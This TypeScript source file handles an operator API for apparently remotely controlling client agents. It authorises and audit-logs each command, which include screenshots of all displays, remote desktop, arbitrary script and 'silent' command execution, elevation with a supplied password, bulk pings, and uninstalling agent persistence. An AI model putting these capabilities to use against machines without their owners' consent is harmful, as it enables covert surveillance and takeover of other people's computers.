import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { deleteClientRow, upsertClientRow } from "../../db";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac";
import { clearThumbnail } from "../../thumbnails";
import type { ClientInfo } from "../../types";
import { sendPingRequest } from "../../wsHandlers";

type RequestIpProvider = {
  requestIP: (req: Request) => { address?: string } | null | undefined;
};

type PendingScript = {
  resolve: (result: any) => void;
  reject: (error: any) => void;
  timeout: NodeJS.Timeout;
  clientId: string;
};

type PendingCommandReply = {
  resolve: (result: { ok: boolean; message?: string }) => void;
  reject: (error: Error) => void;
  timeout: NodeJS.Timeout;
  clientId: string;
};

type ClientCommandDeps = {
  CORS_HEADERS: Record<string, string>;
  pendingScripts: Map<string, PendingScript>;
  pendingCommandReplies: Map<string, PendingCommandReply>;
};

function clampPositiveInt(value: unknown, fallback: number, max: number): number {
  const parsed = Number(value);
  if (!Number.isFinite(parsed) || parsed <= 0) return fallback;
  return Math.min(max, Math.max(1, Math.floor(parsed)));
}

export function dispatchPingBulk(target: ClientInfo, countValue: unknown): number {
  const count = clampPositiveInt(countValue, 1, 1000);
  for (let i = 0; i < count; i++) {
    sendPingRequest(target, target.ws, "manual-bulk", 0);
  }
  return count;
}

export async function handleClientCommandRoute(
  req: Request,
  url: URL,
  server: RequestIpProvider,
  deps: ClientCommandDeps,
): Promise<Response | null> {
  if (req.method !== "POST") return null;
  const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
  if (!cmdMatch) return null;

  const user = await authenticateRequest(req);
  if (!user) return new Response("Unauthorized", { status: 401 });

  try {
    requirePermission(user, "clients:control");
  } catch (error) {
    if (error instanceof Response) return error;
    return new Response("Forbidden", { status: 403 });
  }

  const targetId = cmdMatch[1];
  try {
    requireClientAccess(user, targetId);
  } catch (error) {
    if (error instanceof Response) return error;
    return new Response("Forbidden", { status: 403 });
  }

  const target = clientManager.getClient(targetId);
  const ip = server.requestIP(req)?.address || "unknown";

  if (!target) return new Response("Not found", { status: 404 });

  try {
    const body = await req.json();
    const action = body?.action;
    let success = true;

    if (action === "ping") {
      sendPingRequest(target, target.ws, "manual", 0);
      metrics.recordCommand("ping");
    } else if (action === "ping_bulk") {
      const count = dispatchPingBulk(target, body?.count);
      metrics.recordCommand("ping_bulk");
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: `ping_bulk:${count}`, success: true });
      return Response.json({ ok: true, sent: count }, { headers: deps.CORS_HEADERS });
    } else if (action === "disconnect") {
      try {
        requirePermission(user, "clients:disconnect");
        requireFeatureAccess(user, "disconnect");
      } catch (error) {
        if (error instanceof Response) return error;
        return new Response("Forbidden", { status: 403 });
      }
      target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
      metrics.recordCommand("disconnect");
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.DISCONNECT, targetClientId: targetId, success: true });
    } else if (action === "reconnect") {
      try {
        requirePermission(user, "clients:reconnect");
        requireFeatureAccess(user, "reconnect");
      } catch (error) {
        if (error instanceof Response) return error;
        return new Response("Forbidden", { status: 403 });
      }
      target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
      metrics.recordCommand("reconnect");
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.RECONNECT, targetClientId: targetId, success: true });
    } else if (action === "screenshot") {
      target.ws.send(encodeMessage({ type: "command", commandType: "screenshot", id: uuidv4(), payload: { mode: "notification", allDisplays: true } }));
      metrics.recordCommand("screenshot");
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SCREENSHOT, targetClientId: targetId, success: true });
    } else if (action === "desktop_start") {
      target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
      metrics.recordCommand("desktop_start");
    } else if (action === "darwin_request_permissions") {
      const targetOs = String(target.os || "").toLowerCase();
      if (!targetOs.includes("darwin") && !targetOs.includes("mac")) {
        return Response.json({ ok: false, error: "macOS permission requests are only available for macOS clients" }, { status: 400 });
      }
      const requested = Array.isArray(body?.permissions)
        ? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8)
        : [];
      const refreshOnly = body?.refreshOnly === true;
      const cmdId = uuidv4();
      const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
        const timeout = setTimeout(() => {
          deps.pendingCommandReplies.delete(cmdId);
          reject(new Error("macOS permission request timed out"));
        }, 45_000);
        deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
      });

      target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested, refreshOnly } } as any));
      metrics.recordCommand("darwin_request_permissions");
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" });

      try {
        const result = await replyPromise;
        let detail: any = {};
        if (result.message) {
          try { detail = JSON.parse(result.message); } catch { detail = {}; }
        }
        if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) {
          const checkedAt = Date.now();
          target.permissions = {
            ...(target.permissions || {}),
            ...detail.permissions,
          };
          target.lastSeen = checkedAt;
          upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: checkedAt, online: target.online ? 1 : 0 });
        }
        return Response.json({
          ok: result.ok,
          permissions: detail.permissions || null,
          missing: Array.isArray(detail.missing) ? detail.missing : [],
          message: result.message || "",
        }, { headers: deps.CORS_HEADERS });
      } catch (error: any) {
        return Response.json({ ok: false, error: error.message || "macOS permission request failed" }, { status: 504 });
      }
    } else if (action === "script_exec") {
      const scriptContent = body?.script || "";
      const scriptType = body?.scriptType || "powershell";
      const cmdId = uuidv4();

      const resultPromise = new Promise((resolve, reject) => {
        const timeout = setTimeout(() => {
          deps.pendingScripts.delete(cmdId);
          reject(new Error("Script execution timed out after 5 minutes"));
        }, 5 * 60 * 1000);
        deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId });
      });

      target.ws.send(encodeMessage({ type: "command", commandType: "script_exec", id: cmdId, payload: { script: scriptContent, type: scriptType } }));
      metrics.recordCommand("script_exec");
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SCRIPT_EXECUTE, targetClientId: targetId, success: true, details: `script_exec (${scriptType})` });

      try {
        const result = await resultPromise;
        return Response.json(result);
      } catch (error: any) {
        return Response.json({ ok: false, error: error.message }, { status: 500 });
      }
    } else if (action === "voice_capabilities") {
      const cmdId = uuidv4();
      const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
        const timeout = setTimeout(() => {
          deps.pendingCommandReplies.delete(cmdId);
          reject(new Error("Voice capability probe timed out"));
        }, 30_000);
        deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
      });

      target.ws.send(encodeMessage({ type: "command", commandType: "voice_capabilities", id: cmdId }));

      try {
        const result = await replyPromise;
        let caps: any = null;
        if (result.message) {
          try { caps = JSON.parse(result.message); } catch { caps = null; }
        }
        return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS });
      } catch (error: any) {
        return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
      }
    } else if (action === "silent_exec") {
      try {
        requirePermission(user, "clients:silent-exec");
      } catch (error) {
        if (error instanceof Response) return error;
        return new Response("Forbidden", { status: 403 });
      }

      const command = typeof body?.command === "string" ? body.command.trim() : "";
      const args = typeof body?.args === "string" ? body.args : "";
      const cwd = typeof body?.cwd === "string" ? body.cwd : "";

      if (!command) return new Response("Bad request", { status: 400 });

      const cmdId = uuidv4();
      target.ws.send(encodeMessage({ type: "command", commandType: "silent_exec", id: cmdId, payload: { command, args, cwd } }));
      metrics.recordCommand("silent_exec");
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SILENT_EXECUTE, targetClientId: targetId, success: true, details: JSON.stringify({ command, args, cwd }) });
    } else if (action === "uninstall") {
      try {
        requirePermission(user, "clients:uninstall");
        requireFeatureAccess(user, "uninstall");
      } catch (error) {
        if (error instanceof Response) return error;
        return new Response("Forbidden", { status: 403 });
      }
      target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
      metrics.recordCommand("uninstall");
      clientManager.deleteClient(targetId);
      deleteClientRow(targetId);
      clearThumbnail(targetId);
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.UNINSTALL, targetClientId: targetId, details: "Agent uninstall requested - persistence will be removed", success: true });
    } else if (action === "elevate") {
      try {
        requirePermission(user, "clients:elevate");
      } catch (error) {
        if (error instanceof Response) return error;
        return new Response("Forbidden", { status: 403 });
      }

      const password = typeof body?.password === "string" ? body.password : "";
      const cmdId = uuidv4();
      const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
        const timeout = setTimeout(() => {
          deps.pendingCommandReplies.delete(cmdId);
          reject(new Error("Elevation timed out"));
        }, 30_000);
        deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
      });

      target.ws.send(encodeMessage({ type: "command", commandType: "elevate", id: cmdId, payload: { password } }));
      metrics.recordCommand("elevate");
      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "elevate" });

      try {
        const result = await replyPromise;
        return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS });
      } catch (error: any) {
        return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 });
      }
    } else {
      success = false;
      return new Response("Bad request", { status: 400 });
    }

    logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: action, success });
    return Response.json({ ok: true });
  } catch (error) {
    logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: false, errorMessage: String(error) });
    return new Response("Bad request", { status: 400 });
  }
}